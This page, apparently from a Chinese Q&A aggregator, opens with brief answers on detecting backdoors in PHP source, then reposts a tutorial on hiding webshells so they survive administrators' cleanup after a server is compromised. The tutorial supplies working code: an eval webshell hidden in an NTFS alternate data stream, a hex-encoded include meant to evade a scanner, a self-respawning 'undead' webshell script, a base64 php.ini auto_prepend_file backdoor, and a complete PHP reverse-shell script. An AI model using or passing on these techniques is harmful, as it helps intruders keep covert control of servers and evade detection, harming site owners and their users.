如何查看一个PHP源码是不是有后门?
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了如何查看一个PHP源码是不是有后门?相关的知识,希望对你有一定的参考价值。
如何查看一个php源码是否有后门?有什么技巧啊 不然一行一行的看代码?
1、很难,因为有的后门会加处理的,很难扫描出来的,要一句一句去排除;2、可以把修改日期跟大部分日期不一样的文件过一遍。 参考技术A 什么后门啊 ,网站后台,木马后门
如果你是从浏览器中查看源码的话,是不可能找到的,因为浏览器查看的源码只能看html源码, 参考技术B 可以以eval之类的为关键字查下,不过这只对简单的木马有效 参考技术C 一句话后门。。就一行。。不好找。。。。
php 后门隐藏技巧
辛辛苦苦拿下的 shell,几天没看,管理员给删了。这篇文章是我个人小小的总结,很多方面都建立在自己理解上思考,如果你有更好的思路,各位表哥们也可以分享。
隐藏
隐藏的技巧很多,废话不多说直接开始。
一. attrib +s +h
创建系统隐藏文件:
attrib +s +a +r +h
attrib +s +h 文件名
查看隐藏文件
二. 利用 ADS 隐藏文件
NTFS 交换数据流(Alternate Data Streams,简称 ADS)是 NTFS 磁盘格式的一个特性,在 NTFS 文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其它文件可以“寄宿”在某个文件身上,而在资源管理器中却只能看到宿主文件,找不到寄宿文件。利用 ADS 数据流,我们可以做很多有趣的事情。(抄的)
首先创建 ADS 隐藏文件
在命令行,echo 一个数据流进去,比如 index 文件是正常文件。
echo ^<?php @eval($_REQUEST[1]);?^> > index.php:shell.jpg
这样就生成了一个不可见的 index.php:shell.jpg
可用 dir /r
命令来查看
修改与删除
修改:
进入文件所在目录,notepad index.php:shell.jpg
如何删除 index.php:shell.jpg
呢?
直接删除 index.php
文件包含
我们生成了 index.php:shell.jpg
,可以通过包含文件的方式来使用。
<?php include('index.php:shell.jpg')?>
还可以用上面学的隐藏 include.php
免杀
隐藏了也不行兄 dei,D 盾一扫瞬间爆炸。
把 index.php:shell.jpg
hex 编码
<?php
$a="696E6465782E7068703A7368656C6C2E6A7067";
// index.php:shell.jpg hex编码
$b="a";
include(PACK('H*',$$b))
?>
三. php 环境变量留 shell
环境变量 include_path
在 C 盘,创建 C:phppear
目录,把木马文件丢上去。
在包含下就 OK 了
四.不死马
运行后,会删除自身,生成一个 webshell.php
,管理员删除后还会生成。
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
file_put_contents('webshell.php','<?php @eval($_POST["password"]);?>');
sleep(5);
}
解决覆盖重写或者重启 web 服务删掉即可。
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
file_put_contents('webshell.php','clear');
sleep(1);
}
五. php.ini后门
将下面后门写入php.ini
allow_url_include=On
auto_prepend_file="data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW2NtZF0pOz8+"
// base64 <?php @eval($_REQUEST[cmd]);?>
// 后门类型可自己修改。
后门留好后,需要重启 web 服务。
方法1. 如果权限很大的话,自己手动重启,缺点容易暴露,重启服务,就要上服务器,某里的服务器,异地登陆有短信提醒。
方法2.就是加载一个 php_socke.php
脚本,让他重新加载 php.ini
脚本如下:
<?php
/*******************************/
/* BY 傀儡 */
/* 我是一只小弱鸡,咿呀咿呀呦~ */
/* 只适用于windows系统 */
/*******************************/
while(true){ //别问我为什么要死循环,我也不清楚,只有设置成死循环才能加载新的 php.ini ...
@set_time_limit(0);
$system=strtoupper(substr(PHP_OS, 0, 3));
if(!extension_loaded('sockets'))
{
if($system=='WIN'){@dl('php_sockets.dll') ordie("Can't load socket");}
}
$host='255.255.255.255'; // 搞一个不存在的ip,万一给人家反弹过去了岂不是真尴尬了~~~
$port=1998; //别问我为什么是1998,问了我也不会告诉你....
if($system=="WIN"){$env=array('path'=>'c:\windows\system32');}
$descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"),);
$host=gethostbyname($host);
$proto=getprotobyname("tcp");
if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){die("Socket创建失败");}
if(($ret=@socket_connect($sock,$host,$port))<0){die("连接失败");}
else{
$message="PHP反弹连接
";
@socket_write($sock,$message,strlen($message));
$cwd=str_replace('\','/',dirname(__FILE__));
while($cmd=@socket_read($sock,65535,$proto))
{
if(trim(strtolower($cmd))=="exit"){
socket_write($sock,"Bye
"); exit;
}else{
$process=proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
if(is_resource($process)){
fwrite($pipes[0], $cmd);
fclose($pipes[0]);
$msg=stream_get_contents($pipes[1]);
socket_write($sock,$msg,strlen($msg));
fclose($pipes[1]);
$msg=stream_get_contents($pipes[2]);
socket_write($sock,$msg,strlen($msg));
$return_value=proc_close($process);
}
}
}
}
}
?>
有个尴尬的是,这个脚本不太稳定,这个方法不是 100% 可以成功的。但是如图这个 php 版本测试成功。
这个后门在任何的 PHP 页面都可以用菜刀连接:
后记
可以说全面扩展开有的写了,条条大路通罗马通罗马,每个人都有自己的理解,文笔有限,就写到这里,可赞可喷。
参考:
https://www.t00ls.net/viewthread.php?tid=35053&highlight=php%2B%E5%90%8E%E9%97%A8
https://www.t00ls.net/viewthread.php?tid=44911&highlight=php%2B%E5%90%8E%E9%97%A8
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=17060
https://www.cnblogs.com/xiaozi/p/7610984.html
https://www.t00ls.net/viewthread.php?tid=38906&highlight=php.ini
以上是关于如何查看一个PHP源码是不是有后门?的主要内容,如果未能解决你的问题,请参考以下文章